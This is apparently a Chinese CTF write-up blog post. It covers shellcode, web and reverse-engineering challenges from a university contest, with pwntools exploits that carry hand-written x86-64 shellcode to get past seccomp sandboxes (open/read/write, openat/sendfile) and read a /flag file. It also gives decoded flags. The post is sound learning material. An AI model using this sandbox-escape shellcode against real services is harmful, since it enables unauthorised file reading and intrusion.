&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2588\u2588\u2554\u2550\u2550\u2550\u255d \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551  \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u255a\u2550\u255d &nbsp; &nbsp; \u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>\u200b<br>Well, you must have understood what shellcode is. <br>Let's try to bypass this sandbox.<br>\u200b<br>Your shellcode:<br>asda<br>&#91;+] Executing shellcode with length: 5...<br>&#91;+] Shellcode location: 0x7fc384216000<br>setup_shellcode\u51fd\u6570\u5730\u5740\uff1a0x142D<br>\u5185\u5bb9\uff1aint __fastcall setup_shellcode(const void *a1, unsigned int a2)<br>{<br>  void *dest; \/\/ &#91;rsp+10h] &#91;rbp-10h]<br>\u200b<br>  dest = mmap(0LL, a2, 7, 34, -1, 0LL);<br> &nbsp;if ( dest == (void *)-1LL )<br>  {<br> &nbsp;  perror(\"mmap failed\");<br> &nbsp; &nbsp;exit(1);<br>  }<br>  memcpy(dest, a1, a2);<br>  printf(\"&#91;+] Executing shellcode with length: %u...\\n\", a2);<br>  printf(\"&#91;+] Shellcode location: %p\\n\", dest);<br>  setup_seccomp();<br>  ((void (*)(void))dest)();<br>  return munmap(dest, a2);<br>}<br>setup_seccomp\u5730\u5740\uff1a13C4<br>\u5185\u5bb9\uff1a__int64 setup_seccomp()<br>{<br>  __int64 v1; \/\/ &#91;rsp+8h] &#91;rbp-8h]<br>\u200b<br>  v1 = seccomp_init(2147418112LL);<br>  seccomp_rule_add(v1, 0LL, 59LL, 0LL);<br>  seccomp_rule_add(v1, 0LL, 322LL, 0LL);<br>  return seccomp_load(v1);<br>}<br>\u8003\u8651\u600e\u4e48\u4f20\u5165shellcode\u624d\u80fd\u6253\u7a7f\u9898\u76ee<br>\u76ee\u6807\u670d\u52a1\u5668\uff1actf.ctbu.edu.cn:33243<br>\u7528pwn\u5e93\u7684remote\u65b9\u6cd5\u8fdb\u884c\u8fde\u63a5<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5c31\u662f\u5e38\u89c4\u7684\u62a5\u9519\uff0c\u5582\u56de\uff0c\u62a5\u9519\uff0c\u5582\u56de\uff0c\u91cd\u590d\u8be5\u7cfb\u5217\u64cd\u4f5c9\u6b21<\/p>\n\n\n\n<p>\u6700\u7ec8exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context.arch = 'amd64'<br>context.os = 'linux'<br>\u200b<br># \u65e0\u7a7a\u5b57\u8282\u7ec8\u6781\u89e3\u51b3\u65b9\u6848<br>shellcode = asm('''<br> &nbsp;  \/* \u6784\u9020\u8def\u5f84flag *\/<br> &nbsp;  xor rax, rax<br> &nbsp;  push rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* 8\u5b57\u8282\u7ec8\u6b62\u7b26 *\/<br> &nbsp;  mov dword ptr &#91;rsp], 0x67616c66 \/* 'flag' *\/<br> &nbsp;  lea rdi, &#91;rsp] &nbsp; &nbsp; &nbsp; &nbsp; \/* \u6587\u4ef6\u8def\u5f84\u6307\u9488 *\/<br>\u200b<br> &nbsp;  \/* open\u7cfb\u7edf\u8c03\u7528 *\/<br> &nbsp;  xor rsi, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* O_RDONLY=0 *\/<br> &nbsp;  xor rdx, rdx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* mode=0 *\/<br> &nbsp;  mov al, 2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/* sys_open=2 *\/<br> &nbsp;  syscall<br>\u200b<br> &nbsp;  \/* read\u7cfb\u7edf\u8c03\u7528 *\/<br> &nbsp;  mov rdi, rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* \u6587\u4ef6\u63cf\u8ff0\u7b26 *\/<br> &nbsp;  mov rsi, rsp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* \u4f7f\u7528\u5f53\u524d\u6808\u9876\u4f5c\u4e3a\u7f13\u51b2\u533a *\/<br> &nbsp;  xor rdx, rdx<br> &nbsp;  mov dh, 0x1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/* \u8bfb\u53d6\u957f\u5ea6=0x100 *\/<br> &nbsp;  xor rax, rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* sys_read=0 *\/<br> &nbsp;  syscall<br>\u200b<br> &nbsp;  \/* write\u7cfb\u7edf\u8c03\u7528 *\/<br> &nbsp;  mov rdx, rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* \u5b9e\u9645\u8bfb\u53d6\u957f\u5ea6 *\/<br> &nbsp;  xor rdi, rdi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* stdout=1 *\/<br> &nbsp;  inc rdi<br> &nbsp;  xor rax, rax<br> &nbsp;  inc al &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* sys_write=1 *\/<br> &nbsp;  syscall<br>\u200b<br> &nbsp;  \/* \u4fdd\u6301\u8fde\u63a5\uff08\u6b7b\u5faa\u73af\u9632\u6b62\u9000\u51fa\uff09 *\/<br> &nbsp;  jmp $<br>''')<br>\u200b<br># \u9a8c\u8bc1\u65e0\u7a7a\u5b57\u8282<br>print(f\"Shellcode\u957f\u5ea6: {len(shellcode)} bytes\")<br>print(f\"Hex\u5185\u5bb9: {shellcode.hex()}\")<br>assert b'\\x00' not in shellcode, \"\u68c0\u6d4b\u5230\u7a7a\u5b57\u8282\uff01\"<br>\u200b<br># \u8fde\u63a5\u8fdc\u7a0b\u670d\u52a1\u5668<br>r = remote('ctf.ctbu.edu.cn', 33243)<br>r.recvuntil(b'Your shellcode:\\n')<br>r.send(shellcode)<br>r.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]shellcode_pro_plus \ud83e\udd80<\/h4>\n\n\n\n<p>\u548c\u4e0a\u4e00\u9898\u4e00\u4e2a\u7cfb\u5217\uff0c\u76f4\u63a5\u7ee7\u7eedai\u7ee7\u7eed\u68ad<\/p>\n\n\n\n<p>\u5728\u4e0a\u4e00\u9898\u7684\u6295\u5582\u4e0b\uff0c\u8fd9\u9898\u89e3\u51fa\u6548\u7387\u4e4b\u9ad8\uff0c\u53f9\u4e3a\u89c2\u6b62\uff08\uff09<\/p>\n\n\n\n<p>\u63d0\u793a\u6bb5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5f88\u597d\uff0c\u6253\u901a\u4e86\uff0c\u73b0\u5728\u8fd9\u4e2a\u9898\u76ee\u8fd8\u5b58\u5728\u7cfb\u5217\u9898\u76ee<br>\u4ecd\u7136\u662f\u9700\u8981\u4f20\u5165shellcode<br>\u4fdd\u62a4\u60c5\u51b5\u5982\u4e0b\uff1a<br>&#91;*] 'C:\\\\Users\\\\26597\\\\Downloads\\\\Compressed\\\\shellcode_pro_plus\\\\shellcode_pro_plus'<br> &nbsp;  Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp;  RELRO: &nbsp; &nbsp;  Full RELRO<br> &nbsp;  Stack: &nbsp; &nbsp;  Canary found<br> &nbsp;  NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp;  PIE: &nbsp; &nbsp; &nbsp;  PIE enabled<br> &nbsp;  SHSTK: &nbsp; &nbsp;  Enabled<br> &nbsp;  IBT: &nbsp; &nbsp; &nbsp;  Enabled<br> &nbsp;  Stripped: &nbsp; No<br>main\u51fd\u6570\u5730\u5740\uff1a0x1561<br>\u5185\u5bb9\uff1aint __fastcall main(int argc, const char **argv, const char **envp)<br>{<br>  unsigned int v4; \/\/ &#91;rsp+Ch] &#91;rbp-1014h]<br>  _BYTE buf&#91;16]; \/\/ &#91;rsp+10h] &#91;rbp-1010h] BYREF<br>  unsigned __int64 v6; \/\/ &#91;rsp+1018h] &#91;rbp-8h]<br>\u200b<br>  v6 = __readfsqword(0x28u);<br>  setvbuf(stdin, 0LL, 2, 0LL);<br>  setvbuf(_bss_start, 0LL, 2, 0LL);<br>  setvbuf(stderr, 0LL, 2, 0LL);<br>  title();<br>  puts(\"Your shellcode:\");<br>  v4 = read(0, buf, 0x1000uLL);<br>  setup_shellcode(buf, v4);<br>  return 0;<br>}<br>title\u51fd\u6570\u4ecd\u7136\u53ea\u662fputs\u5185\u5bb9\uff0c\u4ea4\u4e92\u6548\u679c\u5982\u4e0b\uff1a<br>\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 &nbsp;<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d &nbsp;<br> &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br> &nbsp; &nbsp; &nbsp; &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 &nbsp; &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557 &nbsp; &nbsp; \u2588\u2588\u2557 &nbsp; \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557 &nbsp;  \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551 &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; \u2588\u2588\u2554\u2550\u2550\u2550\u255d \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551 &nbsp;  \u2588\u2588\u2554\u2550\u2550\u2550\u255d \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551  \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d &nbsp;  \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; \u255a\u2550\u255d &nbsp; &nbsp; \u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d &nbsp; &nbsp; \u255a\u2550\u255d &nbsp; &nbsp; \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d &nbsp; &nbsp; &nbsp;<br>\u200b<br>Sandbox plus!<br>Good luck for you!<br>\u200b<br>Your shellcode:<br>dad<br>&#91;+] Executing shellcode with length: 4...<br>&#91;+] Shellcode location: 0x7fb7899d0000<br>setup_shellcode\u51fd\u6570\u5730\u5740\uff1a0x148D<br>\u5185\u5bb9\uff1aint __fastcall setup_shellcode(const void *a1, unsigned int a2)<br>{<br>  void *dest; \/\/ &#91;rsp+10h] &#91;rbp-10h]<br>\u200b<br>  dest = mmap(0LL, a2, 7, 34, -1, 0LL);<br> &nbsp;if ( dest == (void *)-1LL )<br>  {<br> &nbsp;  perror(\"mmap failed\");<br> &nbsp; &nbsp;exit(1);<br>  }<br>  memcpy(dest, a1, a2);<br>  printf(\"&#91;+] Executing shellcode with length: %u...\\n\", a2);<br>  printf(\"&#91;+] Shellcode location: %p\\n\", dest);<br>  setup_seccomp();<br>  ((void (*)(void))dest)();<br>  return munmap(dest, a2);<br>}<br>setup_seccomp\u51fd\u6570\u5730\u5740\uff1a0x13C4<br>\u5185\u5bb9\uff1a__int64 setup_seccomp()<br>{<br>  __int64 v1; \/\/ &#91;rsp+8h] &#91;rbp-8h]<br>\u200b<br>  v1 = seccomp_init(2147418112LL);<br>  seccomp_rule_add(v1, 0LL, 59LL, 0LL);<br>  seccomp_rule_add(v1, 0LL, 322LL, 0LL);<br>  seccomp_rule_add(v1, 0LL, 2LL, 0LL);<br>  seccomp_rule_add(v1, 0LL, 0LL, 0LL);<br>  seccomp_rule_add(v1, 0LL, 1LL, 0LL);<br>  return seccomp_load(v1);<br>}<br>\u8003\u8651\u5982\u4f55\u6784\u9020exp\uff0c\u624d\u80fd\u6253\u7a7f<br>\u76ee\u6807\u670d\u52a1\u5668\uff1actf.ctbu.edu.cn:33249<br>\u7528pwn\u5e93\u7684remote\u65b9\u6cd5\u8fdb\u884c\u8fde\u63a5<\/code><\/pre>\n\n\n\n<p>\u7279\u6548\u7387\uff0c\u4e00\u904d\u51fa\u6700\u7ec8exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context.arch = 'amd64'<br>context.os = 'linux'<br>\u200b<br># \u4f7f\u7528openat+sendfile\u7ed5\u8fc7seccomp\u9650\u5236<br>shellcode = asm('''<br> &nbsp;  \/* \u6784\u9020\u8def\u5f84'\/flag' *\/<br> &nbsp;  xor rax, rax<br> &nbsp;  push rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* 8\u5b57\u8282\u6e05\u96f6 *\/<br> &nbsp;  mov byte ptr &#91;rsp], 0x2f &nbsp; \/* '\/' *\/<br> &nbsp;  mov byte ptr &#91;rsp+1], 0x66 \/* 'f' *\/<br> &nbsp;  mov byte ptr &#91;rsp+2], 0x6c \/* 'l' *\/<br> &nbsp;  mov byte ptr &#91;rsp+3], 0x61 \/* 'a' *\/<br> &nbsp;  mov byte ptr &#91;rsp+4], 0x67 \/* 'g' *\/<br> &nbsp;  lea rsi, &#91;rsp] &nbsp; &nbsp; &nbsp; &nbsp;  \/* \u8def\u5f84\u6307\u9488 *\/<br>\u200b<br> &nbsp;  \/* \u8c03\u7528openat(AT_FDCWD, \"\/flag\", O_RDONLY) *\/<br> &nbsp;  mov rdi, -100 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/* AT_FDCWD *\/<br> &nbsp;  xor rdx, rdx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* O_RDONLY=0 *\/<br> &nbsp;  xor r10, r10 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* mode=0 *\/<br> &nbsp;  \/* \u6784\u9020syscall\u53f7257 *\/<br> &nbsp;  xor rax, rax<br> &nbsp;  inc rax<br> &nbsp;  shl rax, 8<br> &nbsp;  inc rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/* rax=0x101=257 *\/<br> &nbsp;  syscall<br>\u200b<br> &nbsp;  \/* \u8c03\u7528sendfile(1, fd, 0, 0x1000) *\/<br> &nbsp;  xor rdi, rdi<br> &nbsp;  inc rdi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/* stdout=1 *\/<br> &nbsp;  mov rsi, rax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* \u6587\u4ef6\u63cf\u8ff0\u7b26 *\/<br> &nbsp;  xor rdx, rdx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* offset=0 *\/<br> &nbsp;  xor r10, r10<br> &nbsp;  mov r10b, 0x10 &nbsp; &nbsp; &nbsp; &nbsp;  \/* \u6784\u90200x1000 *\/<br> &nbsp;  shl r10, 8<br> &nbsp;  xor rax, rax<br> &nbsp;  mov al, 40 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/* sendfile\u7cfb\u7edf\u8c03\u7528\u53f7 *\/<br> &nbsp;  syscall<br>\u200b<br> &nbsp;  \/* \u4fdd\u6301\u8fde\u63a5 *\/<br> &nbsp;  jmp $<br>''')<br>\u200b<br>assert b'\\x00' not in shellcode, \"\u68c0\u6d4b\u5230\u7a7a\u5b57\u8282\uff01\"<br>\u200b<br># \u8fde\u63a5\u5e76\u53d1\u9001shellcode<br>r = remote('ctf.ctbu.edu.cn', 33249)<br>r.recvuntil(b'Your shellcode:\\n')<br>r.send(shellcode)<br>r.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[WEB]Welcome \uff01\uff01<\/h4>\n\n\n\n<p>emmm\uff0c\u5dee\u70b9\u9519\u8fc7\u7b7e\u5230<\/p>\n\n\n\n<p>\u4e00\u5f00\u59cb\u5f00\u4e86\u5b9e\u4f8b\u6ca1\u505a\u5c31\u662f\u6ca1\u770b\u61c2\u8fd9\u4e2a\uff1a<\/p>\n\n\n\n<p>&gt; \u53d1\u73b0XOR\u5bc6\u94a5\u63d0\u793a: \u5b66\u6821\u82f1\u6587\u7f29\u5199+\u5e74\u4efd &gt; \u63d0\u793a: CTBU + 2025<\/p>\n\n\n\n<p>\u5361\u5728\u4e0d\u7406\u89e3\u8fd9\u4e2a\u600e\u4e48XOR\uff08\uff09<\/p>\n\n\n\n<p>\u771fXOR\u540e\uff0c\u503c\u4e0d\u8be5\u4e3a1\u5417\uff08\uff09<\/p>\n\n\n\n<p>\u4f46\u662f\u6700\u540e\u4e00\u4e2a\u5c0f\u65f6\u6b7b\u9a6c\u5f53\u6d3b\u9a6c\u533b\u7684\u65f6\u5019<\/p>\n\n\n\n<p>\u539f\u5c01\u4e0d\u52a8\u8f93\u5165CTBU + 2025<\/p>\n\n\n\n<p>\u7136\u540e\u6210\u529f\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u6700\u540e\u8981\u90a3\u4e2a\u4ec0\u4e48\u66b4\u529b\u7834\u89e3<\/p>\n\n\n\n<p>\u6211\u8bd5\u8fc7\u76f4\u63a5\u53bb\u6539\u90a3\u4e2a\u8fdb\u5ea6<\/p>\n\n\n\n<p>\u4f46\u662f\u6539\u4e86\u6441\u4e00\u6b21\u53c8\u6ca1\u7528\uff0c\u53c8\u56de\u5230\u539f\u8d77\u70b9\u4e86<\/p>\n\n\n\n<p>\u6211\u771f\u66b4\u529b\u7834\u89e3\u7684\uff08\u6307\u8fde\u7eed\u6309\u52a8\u9f20\u6807\u5de6\u952e\u4e00\u5343\u6b21\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-17-1024x506.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-17-1024x506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-384\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">[WEB]terminal<\/h4>\n\n\n\n<p>\u6e90\u4ee3\u7801\u9875\u9762\u6709flag-B3dzNh19.js<\/p>\n\n\n\n<p>\u770b\u4e0d\u61c2\uff0c\u4ea4\u7ed9AI<\/p>\n\n\n\n<p>AI\u539f\u8bdd\uff1a<\/p>\n\n\n\n<p>\u5728\u63d0\u4f9b\u7684\u4ee3\u7801\u4e2d\uff0c<code>flag<\/code> \u7684\u503c\u88ab\u5b9a\u4e49\u5728 <code>_0xcf6a18<\/code> \u53d8\u91cf\u4e2d\uff0c\u5176\u503c\u662f\u901a\u8fc7\u62fc\u63a5\u591a\u4e2a <code>String.fromCharCode<\/code> \u7684\u7ed3\u679c\u5f97\u5230\u7684\u3002\u4ee5\u4e0b\u662f <code>_0xcf6a18<\/code> \u53d8\u91cf\u7684\u5b9a\u4e49\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const _0xcf6a18 = String.fromCharCode(0x66, 0x6c, 0x61, 0x67) + '{' + String.fromCharCode(0x37, 0x68, 0x31, 0x35) + '_' + String.fromCharCode(0x31, 0x35) + '_' + String.fromCharCode(0x61) + '_' + String.fromCharCode(0x76, 0x33) + String.fromCharCode(0x72, 0x79) + '_' + String.fromCharCode(0x67, 0x30, 0x30, 0x64) + '_' + String.fromCharCode(0x35, 0x37, 0x34, 0x37) + '}';<\/code><\/pre>\n\n\n\n<p>\u5c06\u8fd9\u4e9b\u5b57\u7b26\u7801\u8f6c\u6362\u4e3a\u5b57\u7b26\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>String.fromCharCode(0x66, 0x6c, 0x61, 0x67)<\/code> \u8f6c\u6362\u4e3a <code>flag<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x37, 0x68, 0x31, 0x35)<\/code> \u8f6c\u6362\u4e3a <code>7h15<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x31, 0x35)<\/code> \u8f6c\u6362\u4e3a <code>15<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x61)<\/code> \u8f6c\u6362\u4e3a <code>a<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x76, 0x33)<\/code> \u8f6c\u6362\u4e3a <code>v3<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x72, 0x79)<\/code> \u8f6c\u6362\u4e3a <code>ry<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x67, 0x30, 0x30, 0x64)<\/code> \u8f6c\u6362\u4e3a <code>g00d<\/code><\/li>\n\n\n\n<li><code>String.fromCharCode(0x35, 0x37, 0x34, 0x37)<\/code> \u8f6c\u6362\u4e3a <code>5747<\/code><\/li>\n<\/ul>\n\n\n\n<p>\u5c06\u8fd9\u4e9b\u90e8\u5206\u7ec4\u5408\u5728\u4e00\u8d77\uff0c\u5f97\u5230\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">flag{7h15_15_a_v3ry_g00d_5747}<\/pre>\n\n\n\n<p>\u56e0\u6b64\uff0c<code>flag<\/code> \u7684\u503c\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">flag{7h15_15_a_v3ry_g00d_5747}<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[REVERSE]SignUp<\/h4>\n\n\n\n<p>\u6ca1\u770b\u61c2\uff0c\u4e00\u5f00\u59cb\u5927\u81f4\u5c31\u4ee5\u4e3a\u5c31\u662fbase32\uff0c\u7ed3\u679ccyberchef\u89e3\u5bc6\u51fa\u6765\u770b\u7740\u4e0d\u5bf9\u52b2\uff0c\u8fd8\u4ee5\u4e3a\u6ca1\u8fd9\u4e48\u7b80\u5355<\/p>\n\n\n\n<p>\u7ed3\u679c\u9009\u62e9\u4ea4\u7ed9ai<\/p>\n\n\n\n<p>ai\u539f\u8bdd\uff1a<\/p>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u662f\u4e00\u4e2aC++\u7a0b\u5e8f\u7684<code>main<\/code>\u51fd\u6570\uff0c\u5176\u529f\u80fd\u662f\u8bfb\u53d6\u7528\u6237\u8f93\u5165\u7684\u5b57\u7b26\u4e32\uff0c\u5c06\u5176\u8fdb\u884cBase32\u7f16\u7801\uff0c\u7136\u540e\u4e0e\u4e00\u4e2a\u786c\u7f16\u7801\u7684Base32\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\uff0c\u6700\u540e\u6839\u636e\u6bd4\u8f83\u7ed3\u679c\u8f93\u51fa\u201cRight\u201d\u6216\u201cWrong\u201d\u3002\u4ece\u4ee3\u7801\u4e2d\u53ef\u4ee5\u770b\u51fa\uff0c\u786c\u7f16\u7801\u7684Base32\u5b57\u7b26\u4e32\u662f<code>MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===<\/code>\uff0c\u8fd9\u662f\u7a0b\u5e8f\u7528\u6765\u9a8c\u8bc1\u7528\u6237\u8f93\u5165\u662f\u5426\u6b63\u786e\u7684flag\u3002<\/p>\n\n\n